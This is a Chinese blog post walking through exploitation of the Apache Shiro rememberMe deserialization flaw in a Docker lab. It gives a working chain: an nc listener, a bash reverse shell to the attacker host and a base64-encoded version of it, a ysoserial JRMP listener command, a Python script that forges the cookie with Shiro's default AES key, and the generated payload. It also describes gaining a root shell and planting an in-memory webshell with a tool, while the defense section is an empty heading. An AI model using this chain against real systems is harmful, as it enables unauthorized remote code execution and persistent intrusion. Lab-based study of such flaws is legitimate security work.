🔷博主介绍
致力于网络安全(漏洞挖掘、攻防实战)、Linux 内核系统(底层原理与性能调优)、区块链技术(Web3 安全与智能合约审计)、Python 语言应用(自动化攻防工具开发)、软件开发(全栈安全开发)等新一代信息技术领域的技术研究与干货分享,坚持以
极简篇幅承载硬核知识
的创作理念,为技术爱好者提供高效、深度、可落地的阅读体验。CSDN认证网络安全领域优质创作者、网络安全博客专家认证、阿里云专家博主。
🌐各大技术专栏推荐
专栏名称 | 专栏介绍 |
---|---|
网络安全攻防之道 | 为网络安全从业者、白帽黑客与技术爱好者打造的攻防知识阵地。深度剖析漏洞利用与防御的技术细节,实战演练渗透测试全流程,输出可落地的攻防策略,陪你在攻防对抗中持续进阶。 |
Linux 系统运维:从底层原理到企业级实战 | 这里是 Linux 系统运维的实战修炼场:从系统初始化到高可用架构,从命令行魔术到自动化运维利器,深度拆解 CentOS/Ubuntu 在企业级业务、云原生环境中的运维密码。带你穿透系统底层逻辑,掌握性能调优、故障秒级定位、自动化脚本开发的硬核技能,进阶成为能扛住业务压力的 Linux 运维专家 |
【VulnHub 靶场攻防】从漏洞复现到实战渗透 | 不管你是刚入门的渗透新人,还是想强化实战能力的安全工程师,都能在这儿找到匹配的靶场练手项目。我们聚焦可复现的漏洞利用技巧,结合 Nmap、Metasploit、BurpSuite 等工具实战演示,帮你把靶场经验转化为真实渗透能力,一步步成长为能在实战中 “打怪升级” 的渗透高手 |
博主年度总结与收获 | 这里是旺仔 Sec 的创作成长日记!作为 CSDN 认证的网络安全优质创作者,我把每一年的技术深耕、创作思考、成长突破都浓缩在这儿 —— 从漏洞分析的技术沉淀,到内容创作的经验复盘,再到从工程师到博主的身份进阶,每一篇总结都是 “技术探索 + 创作感悟” 的双料干货 |
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。
这里我直接用docker拉取vulapps靶场镜像
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
通过web访问kali的IP地址,点击log in跳转到登录页面
当登录页面有 remember Me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞,那怎么判断这个页面是否或者说很大概率存在shiro 反序列化漏洞呢?我们可以通过抓取数据包捕获数据包内容来分析
查看登录的数据包,发现请求包中存在着remember me字段,返回包中有
Set-Cookie:rememberMe=deleteMe字段
已经确认存在<font style="color:rgb(77, 77, 77);">判断其为 shiro漏洞,那么我们这里有两种渗透手法,一种手动复现,另一种可以使用工具一键拿到shell。</font>
攻击机kali地址为:192.168.247.134
开启nc监听以便后续反弹shell回来
nc -lvvp 8888
生成反弹shell命令
bash -i >& /dev/tcp/192.168.247.134/8888 <&1
当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测,这里的命令需要使用Java Runtime配置bash编码。
编码工具网址:https://ares-x.com/tools/runtime-exec
编码完成
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMzQvODg4OCA8JjEK}|{base64,-d}|{bash,-i}
接下来我们利用序列化工具ysoserial.jar生成payload
<font style="color:rgba(0, 0, 0, 0.9);background-color:rgba(0, 0, 0, 0.03);">ysoserial.jar</font>
是 Java 安全研究里非常经典的一款 反序列化利用工具。
一句话概括:
它能把用户输入的“命令”封装成一段 经过特殊构造的 Java 序列化字节流,当目标应用对这段字节流进行 反序列化 时,就会触发内部可执行代码,从而实现 RCE(远程命令执行)。
ysoserial.jar下载:https://download.csdn.net/download/qq_50377269/91946844?spm=1001.2014.3001.5503
最终Payload:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMzQvODg4OCA8JjEK}|{base64,-d}|{bash,-i}"
命令解释:在本机 1099 端口启动一个 JRMP 监听器,当目标服务器反序列化 JRMPClient 类型的 payload 并连接到你时,自动下发 CommonsCollections4 利用链,最终让目标执行一段 base64 包裹的 bash 反弹 shell,把 shell 弹回你的 8888 端口。
段落 | 作用 |
---|---|
<font style="color:rgba(0, 0, 0, 0.9);">java -cp ysoserial.jar</font> | 把 ysoserial 加入类路径 |
<font style="color:rgba(0, 0, 0, 0.9);">ysoserial.exploit.JRMPListener</font> | 使用 ysoserial 的 JRMP 服务端模块 |
<font style="color:rgba(0, 0, 0, 0.9);">1099</font> | 本地监听端口(目标将连到这里) |
<font style="color:rgba(0, 0, 0, 0.9);">CommonsCollections4</font> | 利用链,要求目标 classpath 里有 commons-collections4 |
引号内字符串 | 要执行的系统命令,被拆成三段避免特殊字符干扰 |
总结概论:在本机 1099 端口搭“反序列化陷阱”,目标一旦反连,就触发 CommonsCollections4 执行 bash 反弹 shell,把权限送回你的 8888 端口
让存在漏洞的页面去请求我们攻击机的VPS服务暨对攻击机kali 192.168.247.134:1088进行请求,因此,我们要用脚本对192.168.247.134:1088进行AES加密=>Base64编码,我们可以生成一个加密脚本,shiro.py代码如下。注意!这是一段Python2才能运行的!!
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
代码中key =base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(注意更改为攻击机ip:JRMP监听的端口号)
输出结果如下
rememberMe=QYvM0wOFQBWRfKvs5VbTM4T2dZfeZU3fsWFlcTP1LVMAYxbex9aH8IHKNnfUdARVvzH6WGB/uoNz59lvhSWb/UIMkt+kdwJLAO5nyhn110jqBWv+w4Yr6DcQ9Jrf2LiH+TTWWSLb94dKrk3seaeTU8BXRPxdTFHqN299cHpCpT4+N2tcX1D8hT2IDY5ITBFSTY+e18A7LU6ypoZyxtJBAwvSPGZTHktUXqtmP6GvsyybV+pql3IvMdaTSBLxRBhPLgUkRqSJCWu3pmdYbJOkGq9/6iOEDox31It7JR0N6CPEy/LWhRtggRxR6tgnjT/BbFQ9K4XXMv3fNyvHqSbf3I5aHrG/areKlpW+1UPWU6ZsiLoMRl/9q/GUPQSX5/56SlYOoWC1MdzMw8aHbWS72A==
burpsuite开启监听,将以上生成的payload添加到请求包Cookie字段的最后,重发,即可成功反弹shell。
发到重发器里面然后在cookie字段后加上我们刚刚生成的那一串字符
添加后截图如下:
利用成功,返回kali中查看shell是否反弹回来
可以看到刚才JRMP监听的端口,可以看到这个服务与靶机进行了连接通信
shell也成功反弹回来了
漏洞复现成功
这里使用shiro反序列化漏洞综合利用工具,工具获取可以关注one-fox公众号获取
那么让我们开始吧
可以看到检测日志模块,出现了“存在shiro框架”,并成功爆出了密钥kPH+bIxk5D2deZiIxcaaaA==,继续点击“检测当前利用链”、“爆破利用链及回显”,就可以看到检测日志模块,出现了“发现构造链:xxxx 回显方式:xxx”,并提示我们请尝试功能区利用:
接下来点击“命令执行”,输入想执行的命令,就可以直接执行命令了。这里输入了whoami,回显为root,又输入了ls -al 成功看到了所有的文件及其权限等等。
也可以写一个内存马进行上传
用哥斯拉去连接
测试连接成功
漏洞复现成功,使用工具还是很方便的,直接一键自动化。
如何进行防御?